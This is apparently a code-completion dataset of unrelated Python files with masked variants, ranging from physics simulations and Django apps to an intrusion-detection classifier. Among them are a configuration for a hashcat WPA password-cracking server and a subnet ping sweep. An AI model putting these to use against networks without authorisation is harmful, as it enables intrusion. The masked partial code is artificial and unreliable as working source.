"index": 8578,
"step-1": "<mask token>\n\n\ndef sexpr_key(s_expr):\n return s_expr.strip('(').split(' ')[0]\n\n\n<mask token>\n\n\ndef list_data(_list):\n if type(_list) is type(list()):\n return _list[1]\n else:\n temp = expr_data(_l... | [
3,
6,
7,
8,
10
] |
# Overview file
#import python classes
import numpy as np
import random as rn
import math
import matplotlib.pyplot as plt
import pylab
from mpl_toolkits.mplot3d import Axes3D
#import self produced classes
import forcemodule as fm
import init_sys
# independent parameters
dt = 0.004
N=2048
lpnum = 1000
density = 0.... | normal | {
"blob_id": "63c214d9e831356345ba2eee68634af36964dcff",
"index": 550,
"step-1": "# Overview file\n\n#import python classes\nimport numpy as np\nimport random as rn\nimport math\nimport matplotlib.pyplot as plt\nimport pylab\nfrom mpl_toolkits.mplot3d import Axes3D\n\n\n\n#import self produced classes\nimport for... | [
0
] |
#
# In development by Jihye Sofia Seo https://www.linkedin.com/in/jihyeseo
# forked from the code of Al Sweigart
# http://inventwithpython.com/pygame/chapter10.html
# whose books are very helpful for learning Python and PyGame. Many thanks!
# Main change is that his version uses flood fill algorithm, which coul... | normal | {
"blob_id": "ec200ee66e3c4a93bbd8e75f0e8b715f54b5479d",
"index": 6781,
"step-1": "<mask token>\n\n\nclass Queue:\n\n def __init__(self):\n self.items = []\n\n def isEmpty(self):\n return self.items == []\n\n def enqueue(self, item):\n self.items.insert(0, item)\n\n def dequeue(se... | [
11,
12,
13,
16,
17
] |
import erequests
from pyarc.base import RestException
class ResultWrapper(object):
def __init__(self, client, method, url):
self.client = client
self.method = method
self.url = url
self.response = None
def get(self):
if self.response is None:
self.client.wa... | normal | {
"blob_id": "4d1157b307d753abea721b93779ccc989c77d8e3",
"index": 6876,
"step-1": "import erequests\nfrom pyarc.base import RestException\n\n\nclass ResultWrapper(object):\n def __init__(self, client, method, url):\n self.client = client\n self.method = method\n self.url = url\n sel... | [
0
] |
from utils.gradient_strategy.dct_generator import DCTGenerator
from utils.gradient_strategy.random_generator import RandomGenerator
from utils.gradient_strategy.upsample_generator import UpSampleGenerator
from utils.gradient_strategy.centerconv_generator import CenterConvGenerator
from utils.attack_setting import *
fro... | normal | {
"blob_id": "399097ef7cfdc061b307c3cc29615c9f50b1e6bf",
"index": 5511,
"step-1": "<mask token>\n",
"step-2": "from utils.gradient_strategy.dct_generator import DCTGenerator\nfrom utils.gradient_strategy.random_generator import RandomGenerator\nfrom utils.gradient_strategy.upsample_generator import UpSampleGene... | [
0,
1
] |
class Pwm():
def __init__(self, number, path, features):
self.id = number
self.path = path + 'pwm' + number
self.features = features
self.duty = self.get_feature('')
self.enable = self.get_feature('_enable')
def get_feature(self, feature):
return self.features['pwm' + self.id + feature]
def set_featu... | normal | {
"blob_id": "c38aff77a7beebc13e7486150d549b876c830db8",
"index": 6104,
"step-1": "class Pwm:\n\n def __init__(self, number, path, features):\n self.id = number\n self.path = path + 'pwm' + number\n self.features = features\n self.duty = self.get_feature('')\n self.enable = s... | [
2,
3,
4,
5,
6
] |
from scrapy import cmdline
cmdline.execute("scrapy crawl ariz".split()) | normal | {
"blob_id": "abb2cfd2113e8de6c7bba42c357f0ec140b224a9",
"index": 3311,
"step-1": "<mask token>\n",
"step-2": "<mask token>\ncmdline.execute('scrapy crawl ariz'.split())\n",
"step-3": "from scrapy import cmdline\ncmdline.execute('scrapy crawl ariz'.split())\n",
"step-4": "from scrapy import cmdline\ncmdline... | [
0,
1,
2,
3
] |
import pandas as pd
import numpy as np
import logging
import sklearn
from joblib import load
import sys
import warnings
import os
if not sys.warnoptions:
warnings.simplefilter("ignore")
class model:
def __init__(self):
#from number to labels
self.number_to_label = {1 : "Bot",2 : 'DoS attack',3... | normal | {
"blob_id": "c0f3a957613a4f4e04aeb3eb2e3fa4053bd0122c",
"index": 8438,
"step-1": "<mask token>\n\n\nclass model:\n\n def __init__(self):\n self.number_to_label = {(1): 'Bot', (2): 'DoS attack', (3):\n 'Brute Force', (5): 'DDoS attacks', (4): 0}\n try:\n self.model = load('.... | [
4,
5,
6,
8,
10
] |
import numpy as np
from math import ceil, log2
def avg(list):
return np.mean(list)
def dispersion(list):
res = 0
for i in list:
res += (i - np.mean(list)) ** 2
return res / len(list)
def variation_coefficient(list):
return (dispersion(list) ** (1/2) / np.mean(list)) * 100
def chi_squ... | normal | {
"blob_id": "f2b978b9a4c00469cdd2f5e1e9275df73c7379b8",
"index": 3904,
"step-1": "<mask token>\n\n\ndef dispersion(list):\n res = 0\n for i in list:\n res += (i - np.mean(list)) ** 2\n return res / len(list)\n\n\n<mask token>\n\n\ndef chi_square(list):\n b = sorted(list)\n k = ceil(log2(len... | [
2,
3,
4,
5,
6
] |
import ipaddress
import subprocess
from subprocess import Popen, PIPE
import time
ip_net = ipaddress.ip_network('192.168.0.100/30')
for i in ip_net.hosts():
# print(i)
host_add = str(i)
toping = subprocess.Popen(['ping', '-n', '3',host_add],stdout=PIPE)
output = toping.communicate()[0]
... | normal | {
"blob_id": "414fb437783fcfb55f542f072aaf3a8bb02b441e",
"index": 8275,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nfor i in ip_net.hosts():\n host_add = str(i)\n toping = subprocess.Popen(['ping', '-n', '3', host_add], stdout=PIPE)\n output = toping.communicate()[0]\n hostalive = toping.re... | [
0,
1,
2,
3,
4
] |
for i in range(0, 20):
if i % 20 == 0:
print('Stop It')
else:
print('The For Loop Failed')
| normal | {
"blob_id": "bfb2d7b811fd450b53493375fa130649349d308f",
"index": 174,
"step-1": "<mask token>\n",
"step-2": "for i in range(0, 20):\n if i % 20 == 0:\n print('Stop It')\nelse:\n print('The For Loop Failed')\n",
"step-3": null,
"step-4": null,
"step-5": null,
"step-ids": [
0,
1
]
... | [
0,
1
] |
# !/usr/bin/env python
# coding: utf-8
__author__ = 'zhouhenglc'
TIME_FORMAT = '%Y-%m-%d %H:%M:%S'
ENCODING = 'utf-8'
# exam mode
# G_SELECT_MODE
# 待废弃,逐步完善使用classes.objects.question_type
# G_SELECT_MODE = ["无", "选择题", "名词解释", "简答题", "计算题", "论述题", "多选题", "判断题"]
G_MULTI_MODE = [6, ] # 多选题型 多选题=6
# G_DEF_OPTIONS... | normal | {
"blob_id": "4605a3f88c73b43fa7611a10a400ad2d4d7c6dfc",
"index": 2273,
"step-1": "<mask token>\n",
"step-2": "__author__ = 'zhouhenglc'\nTIME_FORMAT = '%Y-%m-%d %H:%M:%S'\nENCODING = 'utf-8'\nG_MULTI_MODE = [6]\nSTATUS_ONLINE = 64\nSTATUS_OFFLINE = 128\nTOKEN_BAD_FORMAT = 'token_bad_format'\nTOKEN_EXPIRED = 't... | [
0,
1,
2
] |
"""Some random mathematical helper functions.
"""
from __future__ import division, print_function
import math
# STATISTICS
def mean(L):
"""Calculate mean of given List"""
return sum(L) / len(L)
def variance(L, is_sample=0):
"""calculate variance (or sample variance) of given List"""
m = mean(L)
return sum((x... | normal | {
"blob_id": "34acb6da1dc9403a311ce3bca0a828a77b7b36da",
"index": 7403,
"step-1": "<mask token>\n\n\ndef std_dev(L, is_sample=0):\n \"\"\"calculate standard deviation of given List\"\"\"\n return math.sqrt(variance(L, is_sample))\n\n\ndef z_score(num, mean, std_dev):\n \"\"\"calculate z-score given sampl... | [
7,
14,
15,
17,
19
] |
# help from https://stackoverflow.com/questions/19007383/compare-two-different-files-line-by-line-in-python
with open('Book1.txt', 'r') as file1:
with open('20k.txt', 'r') as file2:
same = set(file1).intersection(file2)
same.discard('\n')
with open('notin20kforBook1.txt', 'w') as file_out:
for line i... | normal | {
"blob_id": "21a41356fcedb36223498db0fe783e4a9e8e1ba6",
"index": 210,
"step-1": "<mask token>\n",
"step-2": "with open('Book1.txt', 'r') as file1:\n with open('20k.txt', 'r') as file2:\n same = set(file1).intersection(file2)\nsame.discard('\\n')\nwith open('notin20kforBook1.txt', 'w') as file_out:\n ... | [
0,
1,
2
] |
from typing import List
from uuid import uuid4
from fastapi import APIRouter, Depends, FastAPI, File, UploadFile
from sqlalchemy.orm import Session
from starlette.requests import Request
from Scripts.fastapp.common.consts import UPLOAD_DIRECTORY
from Scripts.fastapp.database.conn import db
# from Scripts.fastapp.data... | normal | {
"blob_id": "349581774cded59ece6a5e8178d116c166a4a6b3",
"index": 6841,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\n@router.get('/getIsPID', response_model=List[m.GetIsPID])\nasync def show_data(request: Request, ispid):\n \"\"\"\n no params\n\n :return\n\n [\n\n {\n\n ... | [
0,
1,
2,
3,
4
] |
from django import urls
from django.urls import path
from genius.views import (home, Class_create, Class_Update, Class_Delete, Class_Detail, Classes, Add_name,
Student_Main, Student_Create, Student_Update, Student_Delete, Student_Detail, Search)
app_name = 'genius'
urlpatterns = [
path('... | normal | {
"blob_id": "fd6a32652b845b2a6d6d8934c0dde91afdddd9f3",
"index": 9046,
"step-1": "<mask token>\n",
"step-2": "<mask token>\napp_name = 'genius'\nurlpatterns = [path('', home, name='home'), path('class/', Classes, name=\n 'class'), path('class/add-name', Add_name, name='add-name'), path(\n 'class/create',... | [
0,
1,
2,
3
] |
#!/usr/bin/env python
import mcvine.cli
from numpy import array
from mcvine_workflow.singlextal.resolution import use_res_comps as urc
beam_neutrons_path = '/SNS/users/p63/ORNL_public_research/MCViNE_Covmat_comparison/mcvine_resolution/beams/beam_30_1e9/out/neutrons'
instrument = urc.instrument('ARCS', '3.*meter', '13.... | normal | {
"blob_id": "de286b94e09db477e3d920a9eff1a299474baf20",
"index": 2614,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nurc.run(beam_neutrons_path, instrument, samplexmlpath, psi, hkl2Q, pixel,\n t_m2p, Q, E, hkl_projection, Nbuffer=100000)\n",
"step-3": "<mask token>\nbeam_neutrons_path = (\n '/SN... | [
0,
1,
2,
3,
4
] |
# -*- coding: utf-8 -*-"
"""
getMetaStream action for graphingwiki
- alternative meta retrieval action that uses
abuse-sa query language for filtering metas
and returns Line Delimeted JSON or event-stream
@copyright: 2015 Lauri Pokka <larpo@codenomicon.com>
@license: MIT <http://www.openso... | normal | {
"blob_id": "c67cd3c16c15d6aab02a07736c83bbdd5bd98514",
"index": 1839,
"step-1": "<mask token>\n\n\ndef metas_to_json(req, q):\n\n def flatten(arr):\n if len(arr) == 1:\n return arr[0]\n else:\n return arr\n for page, metas in iter_metas(req, q):\n flattened = [(k... | [
5,
6,
7,
8,
9
] |
from pptx import Presentation
import csv
prs = Presentation()
slide_layout = prs.slide_layouts[1]
slide = prs.slides.add_slide(slide_layout)
shapes = slide.shapes
title_shape = shapes.title
body_shape = shapes.placeholders[1]
title_shape.text = "Tekst"
tf = body_shape.text_frame
tf.text = "Zawartość tekst frame"
wi... | normal | {
"blob_id": "e1f003b6a687e5654a1ee6c595e789ced02cd6c3",
"index": 7086,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nwith open('report.csv') as csvfile:\n data = csv.reader(csvfile, delimiter=',')\n for row in data:\n p = tf.add_paragraph()\n p.text = row[0]\n p.level = 1\n ... | [
0,
1,
2,
3,
4
] |
from config import Config
import numpy as np
from itertools import product
from sklearn.utils import shuffle
from sklearn.metrics import precision_recall_fscore_support
from keras import callbacks, regularizers
from keras.models import Sequential
from keras.layers import Dense, InputLayer
from keras import backend as K... | normal | {
"blob_id": "957e18b2536cda69ba1db571d0308d5e392fe488",
"index": 2166,
"step-1": "<mask token>\n\n\ndef FetchData(cfg):\n with open(cfg.FILE, 'rb') as f:\n data = pickle.load(f)\n if cfg.SHUFFLE:\n features, targets = shuffle(data[0], data[1])\n else:\n features = da... | [
5,
6,
7,
8,
10
] |
import inspect
import threading
from monitor.mutex import Mutex, mutex_hooks
from monitor.condition import Condition, condition_hooks
from monitor.shared_variables import SharedList, SharedDict, shared_auto, \
variable_hooks
hooks = {}
for h in [mutex_hooks, condition_hooks, variable_hooks]:
hooks.update(... | normal | {
"blob_id": "80d49b24a2233569a340cee918393b1663c3d55d",
"index": 4598,
"step-1": "<mask token>\n\n\nclass ConditionWrapper:\n <mask token>\n <mask token>\n <mask token>\n\n\nclass MonitorBase(object, metaclass=MonitorMeta):\n _monitor_counter = 0\n _variable_counter = 0\n _condition_counter = 0... | [
16,
17,
18,
23,
26
] |
import pandas as pd
from pymongo import MongoClient
import numpy as np
mongo_client = MongoClient('localhost', 27018)
mongo_db = mongo_client['ProjetoIN242']
mongo_collection = mongo_db['contadorpessoas']
query = mongo_collection.find({})
df = pd.DataFrame.from_records(query)
df_filtro = df[['Entrada','Dia', 'Quant... | normal | {
"blob_id": "9d4559a363c4fd6f9a22dc493a7aaa0a22386c21",
"index": 8071,
"step-1": "<mask token>\n",
"step-2": "<mask token>\ndf_filtro.groupby('Dia')['Quantidade de pessoas'].mean().plot(x='Dia', y=\n 'Quantidade de pessoas')\n",
"step-3": "<mask token>\nmongo_client = MongoClient('localhost', 27018)\nmong... | [
0,
1,
2,
3,
4
] |
from config import Config
from flask import Flask
from flask_cors import CORS
from flask_migrate import Migrate
from flask_sqlalchemy import SQLAlchemy
app = Flask(__name__)
CORS(app)
app.config.from_object(Config)
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///ws.db'
# app.config['SQLALCHEMY_DATABASE_URI'] = 'mys... | normal | {
"blob_id": "f494d8aeee8c72cce8fc14e44ca896bcf30c100a",
"index": 5627,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nCORS(app)\napp.config.from_object(Config)\n<mask token>\n",
"step-3": "<mask token>\napp = Flask(__name__)\nCORS(app)\napp.config.from_object(Config)\napp.config['SQLALCHEMY_DATABASE_UR... | [
0,
1,
2,
3,
4
] |
import secrets
from pathlib import Path
HASHCAT_WPA_CACHE_DIR = Path.home() / ".hashcat" / "wpa-server"
ROOT_PRIVATE_DIR = Path(__file__).parent.parent
WORDLISTS_DIR = ROOT_PRIVATE_DIR / "wordlists"
WORDLISTS_USER_DIR = HASHCAT_WPA_CACHE_DIR / "wordlists" # user custom wordlists
RULES_DIR = ROOT_PRIVATE_DIR / "rules... | normal | {
"blob_id": "20d480517226cb7fbced765554a02fa5cbc29033",
"index": 6491,
"step-1": "<mask token>\n\n\nclass Config:\n \"\"\" Flask application config \"\"\"\n SECRET_KEY = secrets.token_bytes(64)\n SQLALCHEMY_DATABASE_URI = 'sqlite:///{}'.format(DATABASE_PATH)\n SQLALCHEMY_TRACK_MODIFICATIONS = False\n... | [
3,
4,
5,
6,
7
] |
# author Dominik Capkovic
# contact: domcapkovic@gmail.com; https://www.linkedin.com/in/dominik-čapkovič-b0ab8575/
# GitHub: https://github.com/kilimetr
packings_str = '''
Raschig Super-Ring | metal | 0.3 | 180000 | 315.0 | 0.960 | 3.560 | 2.340 | 0.750 | 0.760 | 1.500 | 0.450
Raschig Super-Ring | met... | normal | {
"blob_id": "c4f656b96ddc86ab2575bd5ec646833cce95e6a9",
"index": 1717,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nfor line in packings_str.strip().splitlines():\n line_items = line.split(' | ')\n line_items = [s.strip() for s in line_items]\n name, material, size, N, a, eps, CS, CFl, Ch, CP0... | [
0,
1,
2,
3
] |
class ListNode(object):
def __init__(self, val, next=None):
self.val = val
self.next = next
class Solution:
"""
@param l1: the first list
@param l2: the second list
@return: the sum list of l1 and l2
"""
def addLists(self, l1, l2):
res = ListNode(0)
p = re... | normal | {
"blob_id": "8909ee9c54a234222a41249e1f3005fd86e21cf0",
"index": 1782,
"step-1": "<mask token>\n\n\nclass Solution:\n <mask token>\n\n def addLists(self, l1, l2):\n res = ListNode(0)\n p = res\n carry = 0\n while l1 or l2 or carry:\n num = 0\n if l1:\n ... | [
2,
3,
4,
5
] |
import torch
import torch.optim as optim
import torch.nn as nn
import torch.utils.data as data
from dataset import InsuranceAnswerDataset, DataEmbedding
from model import Matcher
from tools import Trainer, Evaluator
from tools import save_checkpoint, load_checkpoint, get_memory_use
def main():
batch_size = 64
... | normal | {
"blob_id": "41f2a5ba0d7a726389936c1ff66a5724209ee99c",
"index": 4099,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\ndef main():\n batch_size = 64\n valid_batch_size = 8\n dataset_size = 500\n learning_rate = 0.001\n weight_decay = 0.0001\n epochs = 30\n show_frq = 20\n negat... | [
0,
1,
2,
3,
4
] |
# e.g. 8-34
from tkinter import *
from PP4E.launchmodes import PortableLauncher
import os, sys
demoModules = ['demoDlg', 'demoRadio', 'demoCheck', 'demoScale']
for demo in demoModules:
pid = os.fork()
filepath = './' + demo + '.py'
if pid == 0:
os.execvp('python3.5', (filepath, ))
root = Tk()
r... | normal | {
"blob_id": "d91dc850c293cf085e1be04b6e13e0a62cb0bcb1",
"index": 9812,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nfor demo in demoModules:\n pid = os.fork()\n filepath = './' + demo + '.py'\n if pid == 0:\n os.execvp('python3.5', (filepath,))\n<mask token>\nroot.title('Progress')\nLab... | [
0,
1,
2,
3,
4
] |
# Generated by Django 3.0.5 on 2020-04-25 15:35
from django.db import migrations, models
import lots.models
class Migration(migrations.Migration):
dependencies = [
('lots', '0012_auto_20200425_1720'),
]
operations = [
migrations.AlterField(
model_name='lots',
nam... | normal | {
"blob_id": "b36f3ffed888edaa7716f712f1549dc205799caf",
"index": 6338,
"step-1": "<mask token>\n",
"step-2": "<mask token>\n\n\nclass Migration(migrations.Migration):\n <mask token>\n <mask token>\n",
"step-3": "<mask token>\n\n\nclass Migration(migrations.Migration):\n dependencies = [('lots', '001... | [
0,
1,
2,
3,
4
] |
# Dependencies
import pandas as pd
# Load in data file from resources
bank_data = "Resources/budget_data.csv"
# Read and display with pandas
bank_df = pd.read_csv(bank_data)
# Find the total number of months included in the dataset
total_months = bank_df["Date"].count()
# Find the total net amount of "Profit/Losses... | normal | {
"blob_id": "1ad694c68ef264c6fbba4f4b9c069f22818d2816",
"index": 9973,
"step-1": "<mask token>\n",
"step-2": "<mask token>\noutput.write(\"\"\"{}\n{}\n{}\n{}\n{}\n{}\n{}\n\"\"\".format(line1, line2, line3, line4,\n line5, line6, line7))\n",
"step-3": "<mask token>\nbank_data = 'Resources/budget_data.csv'\... | [
0,
1,
2,
3,
4
] |
# -*- coding: utf-8 -*-
import itertools as itt
import random
import unittest
from collections import Counter
from uuid import uuid4
import numpy as np
from pybel import BELGraph
from pybel.constants import INCREASES, PROTEIN
from pybel.dsl import protein
from pybel_tools.selection import get_random_subgraph
from py... | normal | {
"blob_id": "3a88ff479e3b01518d79e9930c29514863f96f9b",
"index": 1568,
"step-1": "<mask token>\n\n\nclass TestRandomSelectNode(unittest.TestCase):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n\n\n<mask token>\n\n\nclass TestRandomSample(unittest.TestCase):\n\n def setUp(self):\n ... | [
5,
8,
9,
10,
13
] |
import datetime
import time
def calculate(a):
return a
data = set()
class Bank:
amount = 0
def __init__(self):
self.Bank_name = "State Bank of India"
self.ifsc = 'SBI0N00012'
def __repr__(self):
return f'Bank Name: {self.Bank_name}, IFSC_Code : {self.ifsc} '
# se... | normal | {
"blob_id": "66ae7f4ee01ca5516d8e3dc447eeb4709e2b6aec",
"index": 4615,
"step-1": "<mask token>\n\n\nclass Bank:\n <mask token>\n\n def __init__(self):\n self.Bank_name = 'State Bank of India'\n self.ifsc = 'SBI0N00012'\n\n def __repr__(self):\n return f'Bank Name: {self.Bank_name}, ... | [
9,
10,
13,
14,
15
] |
import sys
if sys.version_info.major == 2:
from itertools import izip
else:
izip = zip
| normal | {
"blob_id": "88445d8466d7acbf29d2525c7e322611d66494cd",
"index": 8315,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nif sys.version_info.major == 2:\n from itertools import izip\nelse:\n izip = zip\n",
"step-3": "import sys\nif sys.version_info.major == 2:\n from itertools import izip\nelse:\... | [
0,
1,
2
] |
from django.urls import path
from . import views # . current directory
urlpatterns = [
path("", views.index, name="index"),
path("login", views.login_view, name="login"),
path("logout", views.logout_view, name="logout"),
path("menu", views.menu, name="menu"),
path("add_item", views.add_item, name="... | normal | {
"blob_id": "9be6940fc6f405db652d478f9a74fcf56d8a0ad7",
"index": 3470,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nurlpatterns = [path('', views.index, name='index'), path('login', views.\n login_view, name='login'), path('logout', views.logout_view, name=\n 'logout'), path('menu', views.menu, n... | [
0,
1,
2,
3
] |
# -*- coding: utf-8 -*-
"""
Created on Thu May 24 18:18:36 2018
@author: Nicole
"""
from __future__ import division
import Rod
import matplotlib.pyplot as plt
import math
class Truss:
def __init__(self,node1,node2,size,result,ax):
self.node1=node1
self.node2=node2
self.rod=Rod.Rod(node1,... | normal | {
"blob_id": "f01a1b6d0de4ba685c489af2742159447f943d2d",
"index": 5605,
"step-1": "<mask token>\n\n\nclass Truss:\n\n def __init__(self, node1, node2, size, result, ax):\n self.node1 = node1\n self.node2 = node2\n self.rod = Rod.Rod(node1, node2, result)\n self.size = size\n ... | [
3,
4,
5,
6,
7
] |
# Demo - train the decoders & use them to stylize image
from __future__ import print_function
from train import train
from infer import stylize
from utils import list_images
IS_TRAINING = True
# for training
TRAINING_IMGS_PATH = 'MS_COCO'
ENCODER_WEIGHTS_PATH = 'vgg19_normalised.npz'
MODEL_SAVE_PATH = 'models/auto... | normal | {
"blob_id": "31ed798118f20005b5a26bc1fc0053b7d0a95657",
"index": 5366,
"step-1": "<mask token>\n\n\ndef main():\n if IS_TRAINING:\n training_imgs_paths = list_images(TRAINING_IMGS_PATH)\n train(training_imgs_paths, ENCODER_WEIGHTS_PATH, MODEL_SAVE_PATH,\n autoencoder_levels=AUTUENCODE... | [
1,
2,
3,
4,
5
] |
# coding: utf-8
"""
StockX API
PRERELEASE API - Subject to change before release. Provides access to StockX's public services, allowing end users to query for product and order information. # noqa: E501
OpenAPI spec version: 1.0.0
Generated by: https://github.com/swagger-api/swagger-codegen.git... | normal | {
"blob_id": "ae88418ccfdaa4b357a2491f6450dbcda55b1c21",
"index": 2013,
"step-1": "<mask token>\n\n\nclass TestPortfolioIdDelResponsePortfolioItemProductMedia(unittest.TestCase):\n <mask token>\n\n def setUp(self):\n pass\n\n def tearDown(self):\n pass\n\n def testPortfolioIdDelResponseP... | [
4,
5,
6,
7,
8
] |
def solution(name):
Len = len(name)
nameList = [name[i] for i in range(Len)]
nameField = ['A' for i in range(Len)]
answer = 0
# 정방향
for i in range(Len):
a = ord(nameField[i])
b = ord(nameList[i])
if b-a <= 13 : # 절반 이하면 그냥 더하고
answer += b-a
... | normal | {
"blob_id": "8766003a85b1ed83927988df147b0b3004cb91f9",
"index": 7691,
"step-1": "<mask token>\n",
"step-2": "def solution(name):\n Len = len(name)\n nameList = [name[i] for i in range(Len)]\n nameField = ['A' for i in range(Len)]\n answer = 0\n for i in range(Len):\n a = ord(nameField[i]... | [
0,
1,
2
] |
import sys
from pypsi.pipes import ThreadLocalStream
from pypsi.shell import Shell
from pypsi.core import pypsi_print
from nose.tools import *
class PypsiTestShell(Shell):
pass
class TestShellBootstrap(object):
def setUp(self):
self.real_stdout = sys.stdout
self.real_stderr = sys.stderr
... | normal | {
"blob_id": "1983340b3ce7ba8b631ba090871bea1ef7044943",
"index": 9333,
"step-1": "<mask token>\n\n\nclass TestShellBootstrap(object):\n <mask token>\n\n def tearDown(self):\n self.shell.restore()\n <mask token>\n\n def _test_bootstrap_stream_type(self, attr):\n assert_is_instance(getatt... | [
7,
10,
12,
13
] |
from selenium import webdriver
from time import sleep
import os.path
import time
import datetime
driver =webdriver.Chrome(executable_path=r'C:/Users/Pathak/Downloads/chromedriver_win32/chromedriver.exe')
counter=0
while True :
driver.get("https://www.google.co.in/maps/@18.9967228,73.118955,21z/data=!5m1!... | normal | {
"blob_id": "30e7fc169eceb3d8cc1a4fa6bb65d81a4403f2c7",
"index": 5800,
"step-1": "<mask token>\n",
"step-2": "<mask token>\nwhile True:\n driver.get(\n 'https://www.google.co.in/maps/@18.9967228,73.118955,21z/data=!5m1!1e1?hl=en&authuser=0'\n )\n start = 'C://Users//Pathak//Downloads//chrom... | [
0,
1,
2,
3,
4
] |
import sys
import os
from configparser import ConfigParser
import logging
from mod_argparse import setup_cli
from checkers.IndexFile import DocumentIndex, ProgressNoteIndex
from checkers import source_files
from utilities import write_to_file, strip # , write_to_db_isok
# import pandas as pd
logger = logging.getLogger... | normal | {
"blob_id": "e38ae7f91deed1be00e60b7516210ea1feefe23e",
"index": 285,
"step-1": "<mask token>\n\n\ndef folders_with_documents(pat_ids, main_dir_name, doc_prog_folder):\n str_pat_ids = [str(pat_id) for pat_id in pat_ids]\n str_pat_folder_names = [os.path.join(main_dir_name, os.path.join(\n str_pat_id... | [
4,
5,
6,
7,
8
] |
"""
dansfunctions - various useful functions in python
usage:
>>import dansfunctions
>>dansfunctions.fg # module of general mathematical, vector and string format functions
>>dansfunctions.fp # module of matplotlib shortcuts
>>dansfunctions.widgets # module of tkinter shortcuts
Requirements: numpy
Optional requirem... | normal | {
"blob_id": "0f266db39988cfce475380036f4f4f5b1a1fee1a",
"index": 3647,
"step-1": "<mask token>\n\n\ndef version_info():\n return 'dansfunctions version %s (%s)' % (fg.__version__, fg.__date__)\n\n\n<mask token>\n\n\ndef check_general_functions():\n print('dansfunctions/functions_general.py')\n print('Ve... | [
4,
5,
6,
7,
8
] |
from sklearn.feature_extraction.text import TfidfVectorizer, CountVectorizer
from sklearn.feature_selection import SelectKBest, chi2
from sklearn import metrics, ensemble, linear_model, svm
from numpy import log, ones, array, zeros, mean, std, repeat
import numpy as np
import scipy.sparse as sp
import re
import csv
fro... | normal | {
"blob_id": "91eb0ae8e59f24aeefdabd46546bc8fb7a0b6f6c",
"index": 3833,
"step-1": "<mask token>\n\n\ndef normalize(f, lammatize=False):\n f = [x.lower() for x in f]\n f = [x.replace('\\\\n', ' ') for x in f]\n f = [x.replace('\\\\t', ' ') for x in f]\n f = [x.replace('\\\\xa0', ' ') for x in f]\n f... | [
7,
8,
9,
10,
12
] |
"Unit tests for reverse URL lookup"
from django.core.urlresolvers import reverse_helper, NoReverseMatch
import re, unittest
test_data = (
('^places/(\d+)/$', 'places/3/', [3], {}),
('^places/(\d+)/$', 'places/3/', ['3'], {}),
('^places/(\d+)/$', NoReverseMatch, ['a'], {}),
('^places/(\d+)/$', NoRevers... | normal | {
"blob_id": "b7ccb41c43a0db6f1bf9e6ba5cef1b9b1417e297",
"index": 633,
"step-1": "\"Unit tests for reverse URL lookup\"\n\nfrom django.core.urlresolvers import reverse_helper, NoReverseMatch\nimport re, unittest\n\ntest_data = (\n ('^places/(\\d+)/$', 'places/3/', [3], {}),\n ('^places/(\\d+)/$', 'places/3/... | [
0
] |
#!/usr/bin/python3
# -*- coding: utf-8 -*-
#
# Copyright 2021 Opensource ICT Solutions B.V.
# https://oicts.com
#
#version: 1.0.0
#date: 06-11-2021
import requests
import json
import sys
url = 'http://<URL>/zabbix/api_jsonrpc.php?'
token = '<TOKEN>'
headers = {'Content-Type': 'application/json'}
hostname = sys.... | normal | {
"blob_id": "18d7c486b9070a1c607ba2ba5876309246013182",
"index": 4651,
"step-1": "<mask token>\n\n\ndef main():\n hostid = hostid_get(token)\n itemid_array = itemid_get(hostid, token)\n update(itemid_array, token)\n\n\ndef hostid_get(token):\n payload = {}\n payload['jsonrpc'] = '2.0'\n payload... | [
4,
5,
6,
7,
8
] |
import unittest
from validate_pw_complexity import *
class Test_PW_Functions(unittest.TestCase):
def test_pw_not_long_enough_min(self):
sample_pass ="abcd"
expected_result = False
result = validate_pw_long(sample_pass)
self.assertEqual(expected_result, result)
def test_pw_ju... | normal | {
"blob_id": "dc7d75bf43f1ba55673a43f863dd08e99a1c0e0f",
"index": 4820,
"step-1": "<mask token>\n\n\nclass Test_PW_Functions(unittest.TestCase):\n <mask token>\n <mask token>\n\n def test_pw_long_enough_min(self):\n sample_pass = 'abcdadcaabc'\n expected_result = False\n result = val... | [
2,
3,
4,
5,
6
] |
from django.shortcuts import render
class Person(object):
def __init__(self,username):
self.username = username
def index(request):
# p = Person("张三")
# context = {
# 'person': p
# }
# context = {
# 'person': {
# 'username':'zhiliao',
# }
# }
# p... | normal | {
"blob_id": "6d2bc28e7742f1063a04ae96fc195515ad70598b",
"index": 5666,
"step-1": "<mask token>\n\n\nclass Person(object):\n <mask token>\n\n\n<mask token>\n",
"step-2": "<mask token>\n\n\nclass Person(object):\n\n def __init__(self, username):\n self.username = username\n\n\n<mask token>\n",
"st... | [
1,
2,
3,
4,
5
] |
"""Note: AWS Glue split from spark since it requires different test dependencies."""
from tests.integration.backend_dependencies import BackendDependencies
from tests.integration.integration_test_fixture import IntegrationTestFixture
aws_glue_integration_tests = []
deployment_patterns = [
# TODO: The AWS_GLUE dep... | normal | {
"blob_id": "e288403cb310bb7241b25e74d1b5bcc63967128c",
"index": 1031,
"step-1": "<mask token>\n",
"step-2": "<mask token>\naws_glue_integration_tests += deployment_patterns\n",
"step-3": "<mask token>\naws_glue_integration_tests = []\ndeployment_patterns = [IntegrationTestFixture(name=\n 'how_to_use_grea... | [
0,
1,
2,
3,
4
] |
def K_Wilson(w, Tr, Pr):
# Inserting necessary libraries
import numpy as np
# Calculating K-value using Wilson correlation
K_value_Output = (1 / Pr) * np.exp(5.37 * (1 + w) * (1 - 1 / Tr))
# Returning output value
return K_value_Output | normal | {
"blob_id": "0b42f458097d11d66160bcb8e706ccb9b5c4682a",
"index": 5744,
"step-1": "<mask token>\n",
"step-2": "def K_Wilson(w, Tr, Pr):\n import numpy as np\n K_value_Output = 1 / Pr * np.exp(5.37 * (1 + w) * (1 - 1 / Tr))\n return K_value_Output\n",
"step-3": "def K_Wilson(w, Tr, Pr):\r\n \r\n ... | [
0,
1,
2
] |
from flask.ext.restful import Resource, abort
from flask_login import current_user, login_required
